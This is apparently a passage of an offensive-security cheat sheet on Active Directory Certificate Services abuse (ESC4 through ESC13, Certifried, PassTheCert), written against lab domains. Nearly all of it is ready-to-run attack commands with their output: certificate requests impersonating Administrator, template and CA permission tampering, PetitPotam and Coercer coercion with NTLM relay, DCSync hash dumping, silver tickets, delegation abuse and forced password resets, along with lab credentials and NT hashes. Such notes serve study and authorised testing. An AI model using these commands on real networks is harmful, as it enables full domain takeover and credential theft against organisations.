[*] Got hash for 'administrator@lab.local': aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8f

Case 2: CertificateMappingMethods is 0x4

To successfully carry out this privilege escalation tactic, specific prerequisites must be met:

  1. The CertificateMappingMethods registry key is set to 0x4, indicating no strong mapping.

  2. At least one template is enabled for client authentication (e.g., the built-in User template).

  3. We have at least GenericWrite rights for any account A, allowing us to compromise any account B that does not already have a UPN set (e.g., machine accounts or built-in Administrator accounts). This is important to avoid constraint violation errors on the UPN.

❯ impacket-reg 'lab'/'Administrator':'Password123!'@10.129.119.82 query -keyName 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL' 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL
	EventLogging	REG_DWORD	0x1
	CertificateMappingMethods	REG_DWORD	0x4
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\CipherSuites
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Hashes
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\KeyExchangeAlgorithms
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols

#Update account to match DC machine name
❯ certipy-ad account update -u 'BlWasp@lab.local' -p 'Password123!' -user user2 -upn 'lab-dc$@lab.local'

#Retrieve the NT pivot user Hash via Shadow Credentials
❯ certipy-ad shadow auto -u 'BlWasp@lab.local' -p 'Password123!' -account user2 -dc-ip 10.129.119.82
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'user2'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'bdbe5f1e-5732-de4d-9c9d-2e30fdfa85b3'
[*] Adding Key Credential with device ID 'bdbe5f1e-5732-de4d-9c9d-2e30fdfa85b3' to the Key Credentials for 'user2'
[*] Successfully added Key Credential with device ID 'bdbe5f1e-5732-de4d-9c9d-2e30fdfa85b3' to the Key Credentials for 'user2'
[*] Authenticating as 'user2' with the certificate
[*] Using principal: user2@lab.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'user2.ccache'
[*] Trying to retrieve NT hash for 'user2'
[*] Restoring the old Key Credentials for 'user2'
[*] Successfully restored the old Key Credentials for 'user2'
[*] NT hash for 'user2': 912ff342d4b3fb30e49de35d51f4b3be

#Request a certificate as user2 to get the domain controller certificate
❯ certipy-ad req -u 'user2@lab.local' -hashes 912ff342d4b3fb30e49de35d51f4b3be -ca lab-LAB-DC-CA -template User
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 72
[*] Got certificate with UPN 'lab-dc$@lab.local'
[*] Certificate object SID is 'S-1-5-21-2570265163-3918697770-3667495639-1192'
[*] Saved certificate and private key to 'lab-dc.pfx'

#Revert the changes
❯ certipy-ad account update -u 'BlWasp@lab.local' -p 'Password123!' -user user2 -upn user2@lab.local

Schannel authentication does not support authenticate via PKINIT We need to authenticate via Schannel. use -ldap-shell

Certipy permits authentication with Schannel and opens an LDAP shell to conduct some attacks using LDAP. For example, it is possible to create a new computer account and then use it to take over any other machine by configuring a Resource-Based Constrained Delegation.

Intrusionz3r0@htb[/htb]$ certipy-ad auth -pfx lab-dc.pfx -domain lab.local -dc-ip 10.129.205.199 -ldap-shell

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Connecting to 'ldaps://10.129.119.82:636'
[*] Authenticated to '10.129.119.82' as: u:LAB\LAB-DC$
Type help for list of commands

# add_computer HackPC plaintext123
Attempting to add a new computer with the name: HackPC$
Inferred Domain DN: DC=lab,DC=local
Inferred Domain Name: lab.local
New Computer DN: CN=HackPC,CN=Computers,DC=lab,DC=local
Adding new computer with username: HackPC$ and password: Password123! result: OK

# set_rbcd lab-dc$ HackPC$
Found Target DN: CN=LAB-DC,OU=Domain Controllers,DC=lab,DC=local
Target SID: S-1-5-21-2570265163-3918697770-3667495639-1000

Found Grantee DN: CN=HackPC,CN=Computers,DC=lab,DC=local
Grantee SID: S-1-5-21-2570265163-3918697770-3667495639-4602
Delegation rights modified successfully!
HackPC$ can now impersonate users on lab-dc$ via S4U2Proxy
❯ impacket-getST -spn cifs/LAB-DC.LAB.LOCAL -impersonate Administrator -dc-ip 10.129.119.82 lab.local/'HackPC$':'Password123!' 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_LAB-DC.LAB.LOCAL@LAB.LOCAL.ccache

❯ KRB5CCNAME=Administrator@cifs_LAB-DC.LAB.LOCAL@LAB.LOCAL.ccache impacket-wmiexec -k -no-pass @lab-dc.lab.local
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>

Abusing CA Configuration

ESC6

To successfully abuse this misconfiguration, specific prerequisites must be met:

  • User Specified SAN : Enabled

Output:

CA Name                             : lab-LAB-DC-CA
    DNS Name                            : LAB-DC.lab.local
    Certificate Subject                 : CN=lab-LAB-DC-CA, DC=lab, DC=local
    Certificate Serial Number           : 16BD1CE8853DB8B5488A16757CA7C101
    Certificate Validity Start          : 2022-03-26 00:07:46+00:00
    Certificate Validity End            : 2027-03-26 00:17:46+00:00
    Web Enrollment                      : Enabled
    User Specified SAN                  : Enabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Disabled
    Permissions
      Owner                             : LAB.LOCAL\Administrators
      Access Rights
        Enroll                          : LAB.LOCAL\Authenticated Users
                                          LAB.LOCAL\Black Wasp
                                          LAB.LOCAL\James
                                          LAB.LOCAL\user_manageCA
                                          LAB.LOCAL\Juanmy
                                          LAB.LOCAL\Josy
        ManageCa                        : LAB.LOCAL\Black Wasp
                                          LAB.LOCAL\James
                                          LAB.LOCAL\user_manageCA
                                          LAB.LOCAL\Juanmy
                                          LAB.LOCAL\Domain Admins
                                          LAB.LOCAL\Enterprise Admins
                                          LAB.LOCAL\Administrators
        ManageCertificates              : LAB.LOCAL\Josy
                                          LAB.LOCAL\Domain Admins
                                          LAB.LOCAL\Enterprise Admins
                                          LAB.LOCAL\Administrators
    [!] Vulnerabilities
      ESC6                              : Enrollees can specify SAN and Request Disposition is set to Issue. Does not work after May 2022

Exploitation on Linux

#Identify Certificate vulnerable
Intrusionz3r0@htb[/htb]$ certipy-ad find -u 'blwasp@lab.local' -p 'Password123!' -dc-ip 10.129.205.199 -vulnerable -stdout

#Certificate Request with an alternative UPN 
Intrusionz3r0@htb[/htb]$ certipy-ad req -u 'BlWasp@lab.local' -p 'Password123!' -ca lab-LAB-DC-CA -template User -upn Administrator@lab.local

Exploitation on Windows

Look for:

[!] UserSpecifiedSAN : EDITF_ATTRIBUTESUBJECTALTNAME2 set, enrollees can specify Subject Alternative Names!

#Find the vulnerable template
PS C:\Tools> .\Certify.exe cas

#Request a certificate to abuse ESC6
PS C:\Tools>  .\Certify.exe request /ca:LAB-DC.lab.local\lab-LAB-DC-CA /template:User /altname:Administrator

#Convert certificate to pfx
PS C:\Tools> & "C:\Program Files\OpenSSL-Win64\bin\openssl.exe" pkcs12 -in .\cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

#Get TGT to target user
PS C:\Tools> .\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx


Abusing Access Control

ESC4

To make a template vulnerable, the following attributes need to be modified with the specified values:

  • Grant Enrollment rights for the vulnerable template.

  • Disable the PEND_ALL_REQUESTS flag in mspki-enrollment-flag to deactivate Manager Approval.

  • Set the mspki-ra-signature attribute to 0 to disable the Authorized Signature requirement.

  • Enable the ENROLLEE_SUPPLIES_SUBJECT flag in mspki-certificate-name-flag to allow requesting users to specify another privileged account name as a SAN.

  • Set the mspki-certificate-application-policy to a certificate purpose for authentication:

    • Client Authentication (OID: 1.3.6.1.5.5.7.3.2)

    • Smart Card Logon (OID: 1.3.6.1.4.1.311.20.2.2)

    • PKINIT Client Authentication (OID: 1.3.6.1.5.2.3.4)

    • Any Purpose (OID: 2.5.29.37.0)

    • No Extended Key Usage (EKU)

Abuse on Linux

#Find vulnerable template
Intrusionz3r0@htb[/htb]$ certipy-ad find -u 'blwasp@lab.local' -p 'Password123!' -dc-ip 10.129.205.199 -vulnerable -stdout

#Attacking ESC4 vulnerable template
Intrusionz3r0@htb[/htb]$ certipy-ad template -u 'BlWasp@lab.local' -p 'Password123!' -template ESC4 -save-old

#Abusing the modified template
Intrusionz3r0@htb[/htb]$ certipy req -u 'BlWasp@lab.local' -p 'Password123!' -ca lab-LAB-DC-CA -template ESC4 -upn Administrator

#Retrieve Administrator NT hash
Intrusionz3r0@htb[/htb]$ certipy auth -pfx administrator.pfx -username Administrator -domain lab.local

#Restore template configuration
Intrusionz3r0@htb[/htb]$ certipy template -u 'BlWasp@lab.local' -p 'Password123!' -template ESC4 -configuration ESC4.json

Abuse on Windows

Certificate-Enrollment extended right = 0e10c968-78fb-11d2-90d4-00c04f79dc55

#Import Powerview
PS C:\Tools> Set-ExecutionPolicy Bypass -Scope CurrentUser -Force
PS C:\Tools> Import-Module .\PowerView.ps1

#Add Certificate-Enrollment rights
PS C:\Tools> Add-DomainObjectAcl -TargetIdentity ESC4 -PrincipalIdentity "Domain Users" -RightsGUID "0e10c968-78fb-11d2-90d4-00c04f79dc55" -TargetSearchBase "LDAP://CN=Configuration,DC=lab,DC=local" -Verbose

#Disabling Manager Approval Requirement by setting CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS and CT_FLAG_PUBLISH_TO_DS flags
PS C:\Tools> Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=lab,DC=local" -Identity ESC4 -Set @{'mspki-enrollment-flag'=9} -Verbose

#Disabling Authorized Signature Requirement (mspki-ra-signature: 0x0)
PS C:\Tools> Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=lab,DC=local" -Identity ESC4 -Set @{'mspki-ra-signature'=0} -Verbose

#Enable SAN specification (ENROLLEE_SUPPLIES_SUBJECT:0x1)
PS C:\Tools> Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=lab,DC=local" -Identity ESC4 -Set @{'mspki-certificate-name-flag'=1} -Verbose

#Allow client Authentication by Setting PKI Extended Key Usage and the mspki-certificate-application-policy to the OID: 1.3.6.1.5.5.7.3.2
PS C:\Tools> Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=lab,DC=local" -Identity ESC4 -Set @{'pkiextendedkeyusage'='1.3.6.1.5.5.7.3.2'} -Verbose
PS C:\Tools> Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=lab,DC=local" -Identity ESC4 -Set @{'mspki-certificate-application-policy'='1.3.6.1.5.5.7.3.2'} -Verbose

#Certificate Request with alternative SAN
PS C:\Tools> .\Certify.exe request /ca:LAB-DC.lab.local\lab-LAB-DC-CA /template:ESC4 /altname:Administrator

#Convert Certificate
PS C:\Tools> & "C:\Program Files\OpenSSL-Win64\bin\openssl.exe" pkcs12 -in admin.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx

#Request TGT
PS C:\Tools> .\Rubeus.exe asktgt /user:administrator /certificate:admin-esc4.pfx /getcredentials

ESC5 (Compromise CA Server)

Compromising the CA server provides the ability to control PKI and maintain long-term access to the domain.

Certify.exe, in contrast to certipy, indicates that users belonging to BUILTIN\Administrators (local administrators) possess ManageCA and ManageCertificates privileges on the ADCS server. This presents an opportunity to exploit ESC4, ESC7, and potentially manipulate additional components of the ADCS service, enabling us to escalate privileges within the domain.

We need rights over and account with the next permissions:

  • The CA server’s AD computer object (i.e., compromise through S4U2Self or S4U2Proxy).

  • The CA server’s RPC/DCOM server.

  • Any descendant AD object or container in the container CN=Public Key Services,CN=Services,CN=Configuration,DC=<COMPANY>,DC=<COM> (e.g., the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, the Enrollment Services Container, etc.

Abuse from Linux

#Request a certificate as the Domain Administrator
Intrusionz3r0@htb[/htb]$ certipy-ad req -u 'cken' -p 'Superman001' -ns 172.16.19.3 -dc-ip 172.16.19.3 -dns-tcp -ca lab-WS01-CA -target-ip 172.16.19.5 -template SubCA -upn Administrator
#Issue the requested certificate
Intrusionz3r0@htb[/htb]$ certipy-ad ca -u 'cken' -p 'Superman001' -ns 172.16.19.3 -dc-ip 172.16.19.3 -dns-tcp -ca lab-WS01-CA -target-ip 172.16.19.5 -issue-request 14
#Retrieve the issue certificate
Intrusionz3r0@htb[/htb]$ certipy-ad req -u 'cken' -p 'Superman001' -ns 172.16.19.3 -dc-ip 172.16.19.3 -dns-tcp -ca lab-WS01-CA -target-ip 172.16.19.5 -retrieve 14
#Authenticate with the Administrator Certificate
Intrusionz3r0@htb[/htb]$ certipy-ad auth -pfx administrator.pfx -domain lab.local -username Administrator

Abuse from Windows

#Request a Certificate using SubCA template (Save it as approved.pem)
PS C:\Tools> .\Certify.exe request /ca:WS01.lab.local\lab-WS01-CA /template:SubCA /altname:Administrator
#Issue the requested certificate
PS C:\Tools> certsrv.msc
Failed Request > right-click on cert  >  All task > Issue
#Download Pending Request (You have to append the CERTIFICATE content to the approved.pem file)
PS C:\Tools> .\Certify.exe download /ca:WS01.lab.local\lab-WS01-CA /id:15
#Convert Certificate
PS C:\Tools> & "C:\Program Files\OpenSSL-Win64\bin\openssl.exe" pkcs12 -in approved.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out approved.pfx
#Retrieve NT
PS C:\Tools> .\Rubeus.exe asktgt /user:administrator /certificate:approved.pfx /getcredentials

ESC7

ESC7 occurs when a user has either the "Manage CA" or "Manage Certificates" access rights on the Certificate Authority (CA) itself. These permissions can be exploited to escalate privileges and compromise the domain.

Key Permissions in ESC7

1. Manage CA

  • Grants the ability to manipulate configurations on the CA remotely.

  • Allows the modification of the EDITF_ATTRIBUTESUBJECTALTNAME2 bit to enable Subject Alternative Name (SAN) specification in any template.

  • SAN manipulation can be particularly dangerous when abused, as it enables adding arbitrary identifiers (e.g., UPN) to certificates. (Refer to ESC6 for SAN-related abuse.)

2. Manage Certificates

  • Grants the ability to remotely approve pending certificate requests, bypassing the default protection of CA certificate manager approval.

  • This effectively allows a user to issue certificates even if they are not authorized to enroll for certain templates.

Once we run the command, we get the error: Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.; the reason of this error is that we are not a member of Domain Admins or Enterprise Admins which are the only two groups with enrollments rights for this template, so our request was denied, but it can be later issued by the Manager CA.

SubCA This allows an attacker to issue certificates with elevated privileges..

UPN (User Principal Name)

Attack from Linux - ManageCA rights

#Enumerate permissions.
Intrusionz3r0@htb[/htb]$ certipy-ad find -u 'raven' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -stdout
#Enable SubCA template
Intrusionz3r0@htb[/htb]$ certipy-ad ca -u 'raven' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-DC01-CA -enable-template 'SubCA'
#Add Manage Certificates Access rights
Intrusionz3r0@htb[/htb]$ certipy-ad ca -u 'raven' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-DC01-CA -add-officer raven
#Requesting a certificate
Intrusionz3r0@htb[/htb]$ certipy-ad req -u 'raven' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-DC01-CA -template SubCA -upn Administrator
#Approve the Certificate Request
Intrusionz3r0@htb[/htb]$ certipy-ad ca -u 'raven' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-DC01-CA -issue-request <id>
#Retrieve the certificate with the ID
Intrusionz3r0@htb[/htb]$ certipy-ad req -u 'raven' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-DC01-CA -retrieve <id>
#Sync clock domain
Intrusionz3r0@htb[/htb]$ sudo ntpdate <dc-ip>
#Retrive NTLM administrator Hash
Intrusionz3r0@htb[/htb]$ certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.236 -username administrator -domain manager.htb

Attack from Linux - ManageCertificates rights

#Enumerate
Intrusionz3r0@htb[/htb]$ certipy-ad find -u 'blwasp@lab.local' -p 'Password123!' -stdout

#Request a certificate with manager Aproval
Intrusionz3r0@htb[/htb]$ certipy-ad req -u 'BlWasp@lab.local' -p 'Password123!' -ca lab-LAB-DC-CA -template ESC7_1 -upn Administrator

#Aprove Pending request
Intrusionz3r0@htb[/htb]$ certipy-ad ca -u 'BlWasp@lab.local' -p 'Password123!' -ca lab-LAB-DC-CA -issue-request 59
#Retrieve Aproved Request
Intrusionz3r0@htb[/htb]$ certipy-ad req -u 'BlWasp@lab.local' -p 'Password123!' -ca lab-LAB-DC-CA -retrieve 59  

Abuse on Windows

#Import PSPKI module
PS C:\Tools> Import-Module .\PSPKI.psd1

#Enumerate CA with PowerShell
PS C:\Tools> Get-CertificationAuthority -ComputerName LAB-DC.lab.local | Get-CertificationAuthorityAcl | select -ExpandProperty access

#Query CA with certutil.exe
PS C:\Tools> certutil.exe -config "LAB-DC.lab.local\lab-LAB-DC-CA" -getreg "policy\EditFlags"

#Enable EDITF_ATTRIBUTESUBJECTALTNAME2 
PS C:\Tools> $ConfigReader.SetConfigEntry(1376590,"EditFlags","PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
PS C:\Tools> $ConfigReader.GetConfigEntry("EditFlags","PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")

#Adding ManageCertificates rights
Get-CertificationAuthority LAB-DC.LAB.LOCAL | Get-CertificationAuthorityAcl  | Add-CertificationAuthorityAcl -Identity "blwasp" -AccessType Allow -AccessMask "ManageCertificates" |  Set-CertificationAuthorityAcl -RestartCA

#Request Certificate (Save it as approved.pem)
PS C:\Tools> .\Certify.exe request /ca:LAB-DC\lab-LAB-DC-CA /template:ESC7_1 /altname:Administrator

#Enumerate pending request
Get-CertificationAuthority -ComputerName LAB-DC.lab.local | Get-PendingRequest

#Aprove Pending Request
PS C:\Tools> Get-CertificationAuthority -ComputerName LAB-DC.lab.local | Get-PendingRequest -RequestID 100 | Approve-CertificateRequest

#Download Pendig Request (You have to append the CERTIFICATE content to the approved.pem file)
PS C:\Tools> .\Certify.exe download /ca:LAB-DC\lab-LAB-DC-CA /id:100

#Convert certificate
PS C:\Tools> & "C:\Program Files\OpenSSL-Win64\bin\openssl.exe" pkcs12 -in approved.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out approved.pfx

#Request TGT
PS C:\Tools> .\Rubeus.exe asktgt /user:josy /certificate:josy.pfx /getcredentials

#Good to know
#Disable EDITF_ATTRIBUTESUBJECTALTNAME2 
PS C:\Tools> $ConfigReader.SetConfigEntry(1114446,"EditFlags","PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
PS C:\Tools> $ConfigReader.GetConfigEntry("EditFlags","PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")


NTLM Relay

ESC8

Requirements:

  • A vulnerable web enrollment endpoint.

  • At least one certificate template enabled allows domain computer enrollment and client authentication (like the default Machine/Computer template).

  • Request Disposition : Issue

Three different scenarios and Methods

Scenario
Technique
Tools
Key Point
Machine

1. DNS Modification Available

DNS Spoofing + DFSCoerce + Kerberos Relay

dnstool.py, DFSCoerce, krbrelayx

Modify DNS to redirect authentication traffic

2. No DNS Mod but SMB Traffic Available

Direct Coercion + Certipy Relay

Certipy, Coercer

Receive SMB traffic directly, relay to AD CS

3. No DNS Mod or SMB Direct

Port Bending + StreamDivert + PetitPotam + NTLM Relay

StreamDivert, PetitPotam, ntlmrelayx

Redirect SMB traffic using port bending

ESC8 SMB traffic available

#Enumerate vulnerable templates
certipy-ad find -u blwasp -p 'Password123!' -dc-ip 172.16.19.3 -dns-tcp -ns 172.16.19.3 -vulnerable -stdout

#Start Listener
htb-student@ubuntu:~/$ sudo certipy relay -target <ADCS-server> -template DomainController

#Force the authentication
coercer coerce -l <Attack-Machine> -t <domain-controller> -u blwasp -p 'Password123!' -d lab.local -v

#Extract NT Domain Computer Account
htb-student@ubuntu:~/PetitPotam$ certipy auth -pfx lab-dc.pfx

#DCSync Attack
Intrusionz3r0@htb[/htb]$ impacket-secretsdump 'lab-dc$'@lab-dc.lab.local -hashes aad3b435b51404eeaad3b435b51404ee:8ab4020da8604f4ff9687e3da5c4e26d -just-dc

#Silver Ticket
Intrusionz3r0@htb[/htb]$ ticketer.py -nthash <nt-DomComputerAccount> -domain-sid S-1-5-21-1817219280-1014233819-995920665 -domain lab.local -spn cifs/lab-dc.lab.local Administrator

ESC11

#Enumerate vulnerable templates
Intrusionz3r0@htb[/htb]$ certipy-ad find -u blwasp -p 'Password123!' -dc-ip 172.16.19.3 -dns-tcp -ns 172.16.19.3 -vulnerable -stdout

#Abusing ESC11 with certipy
Intrusionz3r0@htb[/htb]$ sudo certipy relay -target "rpc://172.16.19.5" -ca "lab-WS01-CA" -template DomainController

#Coerse with Petipotam
Intrusionz3r0@htb[/htb]$ python3 PetitPotam.py -u BlWasp -p 'Password123!' -d 'lab.local' 172.16.19.19 172.16.19.3

#Extract NT Domain Computer Account
htb-student@ubuntu:~/PetitPotam$ certipy auth -pfx lab-dc.pfx

ESC13

if a user or a computer can enroll on a template that specifies an issuance policy linked to a highly privileged group, the issued certificate privilegies will be mapped to those of the group.

Requirements

  1. The certificate template specifies an issuance policy (msPKI-Certificate-Policy )

  2. That issuance policy is linked to a privileged group (msDS-OIDToGroupLink)

  3. The linked group meets two conditions:

    1. It is empty (no members)

    2. It has universal scope (i.e., forest-wide group like Enterprise Admins, Schema Admins, or any custom universal group)

  4. The certificate template allows Client Authentication

  5. The compromised user/computer can enroll in the certificate template.

Abusing ESC13 using Certipy

❯ certipy-ad req -u 'gabriel.stewart' -p 'Password123!' -ca vigilant-CA -target DC.vigilant.vl -template 'VigilantAdmins' -dc-ip 10.10.183.85 -key-size 4096 2>/dev/null
❯ certipy-ad auth -pfx gabriel.stewart.pfx -dc-ip 10.10.183.85

Miscellaneous ADCS Attacks

Certifried (CVE-2022-26923)


#Test vulnerability
Intrusionz3r0@htb[/htb]$ certipy-ad req -u blwasp -p 'Password123!' -dc-ip 10.129.228.237 -template user -ca lab-LAB-DC-CA

#Create computer
Intrusionz3r0@htb[/htb]$ impacket-addcomputer -computer-name 'CERTIFRIED$' -computer-pass 'Password123!' -dc-ip 10.129.228.237 'LAB.LOCAL/Blwasp':'Password123!'

#Edit dnsHostName with powerview.py
Intrusionz3r0@htb[/htb]$ python3 powerview.py lab.local/BlWasp:'Password123!'@10.129.228.237
PV > Set-DomainObject -Identity 'CERTIFRIED$' -Set dnsHostName="dc02.lab.local"

#Request a certificate as the computer account
Intrusionz3r0@htb[/htb]$ certipy-ad req -u 'CERTIFRIED$' -p 'Password123!' -dc-ip 10.129.228.237 -ca lab-LAB-DC-CA -template 'Machine'

#Retrieve NT Computer Account
Intrusionz3r0@htb[/htb]$ certipy-ad auth -pfx dc02.pfx

#DCSync Attack
Intrusionz3r0@htb[/htb]$ impacket-secretsdump 'dc02$'@lab-dc.lab.local -hashes :8757e3f64609fd61b101e6b887b94fe6

PKINIT

PKINT is an extension of the Kerberos protocol that enables certificate-based authentication.

keep in mind that there could be situations where authentication with Kerberos using certificates may not be an option. In such cases, we can resort to using Schannel, an alternative method, for authenticating with certificates when PKINIT is not supported.

Error

Description

Possible causes

KDC_ERR_PADATA_TYPE_NOSUPP

KDC has no support for PADATA type (pre-authentication data)

Smart card logon is being attempted and the proper certificate cannot be located. This problem can happen because the wrong certification authority (CA) is being queried or the proper CA cannot be contacted in order to get Domain Controller or Domain Controller Authentication certificates for the domain controller. It can also happen when a domain controller doesn't have a certificate installed for smart cards (Domain Controller or Domain Controller Authentication templates).

This means the KDC Certificate is missing the Smart Card Logon EKU. Without this EKU, the KDC cannot use the certificate for PKINIT, which causes authentication to fail.

How to autheticate LDAPS Authentication with PassTheCert

If kerberos is not available we switch to Schannel.

  • Schannel LDAPS authentication allows certificates to be used for authenticating to Active Directory over a secure channel.

Extract key and cert from the pfx

#Extract .crt
Intrusionz3r0@htb[/htb]$ openssl pkcs12 -in administrator.pfx -clcerts -nokeys -out administrator.crt
Intrusionz3r0@htb[/htb]$ certipy cert -pfx administrator.pfx -nokey -out administrator.crt

#Extract Key
Intrusionz3r0@htb[/htb]$ certipy cert -pfx administrator.pfx -nocert -out administrator.key
Intrusionz3r0@htb[/htb]$ openssl pkcs12 -in administrator.pfx -nocerts -out administrator.key

#Optional (Removing the passphrase out of the administrator.key) (Pass: 1234)
Intrusionz3r0@htb[/htb]$ openssl rsa -in administrator.key -out administrator-nopass.key

Available Attacks

#1 Grant DCSync rights to user

#Linux
Intrusionz3r0@htb[/htb]$ python3 passthecert.py -action modify_user -crt administrator.crt -key administrator.key -dc-ip 10.10.11.222 -elevate -target svc_ldap -domain authority.htb

#Windows
PS C:\Tools> .\PassTheCert.exe --server authority --cert-path .\administrator.pfx --elevate --target DC=AUTHORITY,DC=HTB --sid S-1-5-21-622327497-3269355298-2248959698-12101

#2 Resource Based Constrain Delegation

#-----------Linux----------------
Intrusionz3r0@htb[/htb]$ impacket-addcomputer authority.htb/svc_ldap:'lDaP_1n_th3_cle4r!' -computer-name 'intrusion' -computer-pass 'intrusionz3r0'
Intrusionz3r0@htb[/htb]$ python3 passthecert.py -action write_rbcd -delegate-to 'AUTHORITY$' -delegate-from 'intrusion$' -crt administrator.crt  -key administrator.key -domain authority.htb  -dc-ip 10.10.11.222
Intrusionz3r0@htb[/htb]$ impacket-getST -spn 'cifs/authority.authority.htb' -impersonate Administrator 'authority.htb/intrusion$:intrusionz3r0'
Intrusionz3r0@htb[/htb]$ KRB5CCNAME=Administrator@cifs_authority.authority.htb@AUTHORITY.HTB.ccache impacket-wmiexec -k -no-pass authority.authority.htb


#-------------Windows----------------
#Create Computer
PS C:\Tools> .\PassTheCert.exe --server authority --cert-path .\administrator.pfx --add-computer --computer-name HTB05
#Get Computer SID
PS C:\Tools> Get-DomainComputer -Name HTB05 -Properties objectsid
#Get Domain distinguishedname
PS C:\Tools> Get-DomainComputer -Name AUTHORITY -Properties distinguishedname

#RBCD attack from Windows
PS C:\Tools> .\PassTheCert.exe --server authority --cert-path .\administrator.pfx --rbcd --target "CN=AUTHORITY,OU=Domain Controllers,DC=authority,DC=htb" --sid S-1-5-21-622327497-3269355298-2248959698-12603
#RBCD Attack using Rubeus
PS C:\Tools> .\Rubeus.exe asktgt /user:"HTB05$" /password:"GQnwUyHRd0dLdiG1L3LupCJjNSm3JATR" /domain:authority.htb /impersonate:Administrator /msdsspn:CIFS/AUTHORITY.AUTHORITY.HTB /ptt

#3 Password Reset

#--------Linux------------
Intrusionz3r0@htb[/htb]$ python3 passthecert.py -action modify_user -crt administrator.crt  -key administrator.key -domain authority.htb -target administrator -new-pass 'Pwn3d#123!' -dc-ip 10.10.11.222

#-----Windows
#Get Administrator distinguishedname
PS C:\Tools> Get-DomainUser -Identity Administrator -Properties distinguishedname
PS C:\Tools> .\PassTheCert.exe --server authority --cert-path .\administrator.pfx --reset-password --target CN=Administrator,CN=Users,DC=authority,DC=htb --new-password PassTheCertFromWindows001

The second attack is known as that involves modifying certain attributes of the target computer to impersonate a user on that system. By using an Administrator's certificate, it is possible to change the attributes of the domain controller and create a computer that can delegate rights over the Domain Controller to perform the attack.

Resource Based Constrain Delegation
Cicada
SharpCollection/NetFramework_4.7_x64/Certify.exe at master · Flangvik/SharpCollectionGitHub
GitHub - GhostPack/Certify: Active Directory certificate abuse.GitHub
[MS-CRTD]: msPKI-Enrollment-Flag AttributeMicrosoftLearn
[MS-CRTD]: msPKI-Certificate-Name-Flag AttributeMicrosoftLearn
Certificate-Enrollment extended right - Win32 appsMicrosoftLearn
GitHub - topotam/PetitPotam: PoC tool to coerce Windows hosts to authenticate to other machines via MS-EFSRPC EfsRpcOpenFileRaw or other functions.GitHub
krbrelayx/printerbug.py at master · dirkjanm/krbrelayxGitHub
GitHub - p0dalirius/Coercer: A python script to automatically coerce a Windows server to authenticate on an arbitrary machine through 9 methods.GitHub
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo